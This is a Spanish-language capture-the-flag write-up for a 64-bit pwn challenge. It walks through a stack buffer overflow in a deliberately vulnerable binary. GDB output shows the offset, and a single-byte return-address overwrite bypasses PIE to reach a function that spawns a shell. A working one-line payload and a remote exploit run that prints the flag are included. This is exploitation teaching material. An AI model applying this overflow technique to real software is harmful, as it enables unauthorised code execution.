fno-stack-protector
3 minutos de lectura
Se nos proporciona un binario de 64 bits llamado main
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Si lo abrimos en Ghidra, veremos las siguientes funciones:
void bad_function() {
execve("/bin/sh", NULL, NULL);
}
void vuln() {
char data[10];
read(0, data, 170);
}
int main() {
setvbuf(stderr, NULL, 2, 0);
setvbuf(stdout, NULL, 2, 0);
vuln();
return 0;
}
Existe una vulnerabilidad de Buffer Overflow. Vemos que data
es una cadena de caracteres de 10 bytes, y el programa lee hasta 170 bytes. Por tanto, podemos sobrescribir valores en la pila (por ejemplo, la dirección de retorno).
La idea es sobrescribir la dirección de retorno con la dirección de bad_function
. No obstante, PIE está habilitado, por lo que las direcciones del binario son aleatorias.
De momento, vamos a usar GDB para encontrar el offset que necesitamos para sobrescribir la dirección de retorno:
$ gdb -q main
Reading symbols from main...
(No debugging symbols found in main)
gef➤ pattern create 30
[+] Generating a pattern of 30 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./main
aaaaaaaabaaaaaaacaaaaaaadaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x00005555555551b2 in vuln ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 18 (little-endian search) likely
[+] Found at offset 23 (big-endian search)
Vale, necesitamos 18 bytes para llegar a la posición donde se guarda la dirección de retorno. Vamos a poner un breakpoint justo aquí y a ejecutar el programa otra vez para introducir exactamente 18 bytes (17 más un salto de línea):
gef➤ break
Breakpoint 1 at 0x5555555551b2
gef➤ run
Starting program: ./main
AAAAAAAAAAAAAAAAA
Breakpoint 1, 0x00005555555551b2 in vuln ()
gef➤ x/10gx $rsp - 0x10
0x7fffffffe668: 0x4141414141414141 0x0a41414141414141
0x7fffffffe678: 0x0000555555555201 0x0000000000000000
0x7fffffffe688: 0x00007ffff7de1083 0x00007ffff7ffc620
0x7fffffffe698: 0x00007fffffffe778 0x0000000100000000
0x7fffffffe6a8: 0x00005555555551b3 0x0000555555555230
gef➤ x $rsp
0x7fffffffe678: 0x0000555555555201
gef➤ backtrace
#0 0x00005555555551b2 in vuln ()
#1 0x0000555555555201 in main ()
Backtrace stopped: Cannot access memory at address 0xa41414141414149
gef➤ p bad_function
$1 = {<text variable, no debug info>} 0x555555555208 <bad_function>
Si miramos con atentamente, veremos que la dirección de retorno y la dirección de bad_function
difieren en el último byte, por lo que podemos desbordar únicamente este byte y redirigir la ejecución a bad_function
.
Esto se puede hacer de forma manual:
$ (echo -ne 'AAAAAAAAAAAAAAAAAA\x08'; cat) | ./main
ls
main solve.py
O mediante un script en Python para conectarse a la instancia remota:
$ python3 solve.py blackhat2-7c9ff8336e7deb83a4583a4529a7c0a8-0.chals.bh.ctf.sa
[*] './main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to blackhat2-7c9ff8336e7deb83a4583a4529a7c0a8-0.chals.bh.ctf.sa on port 443: Done
[*] Switching to interactive mode
$ cat flag.txt
BlackHatMEA{96:21:368fd8bb8dffb88a9690546fb5d3ee9f27464b6c}
El exploit completo se puede encontrar aquí: solve.py
.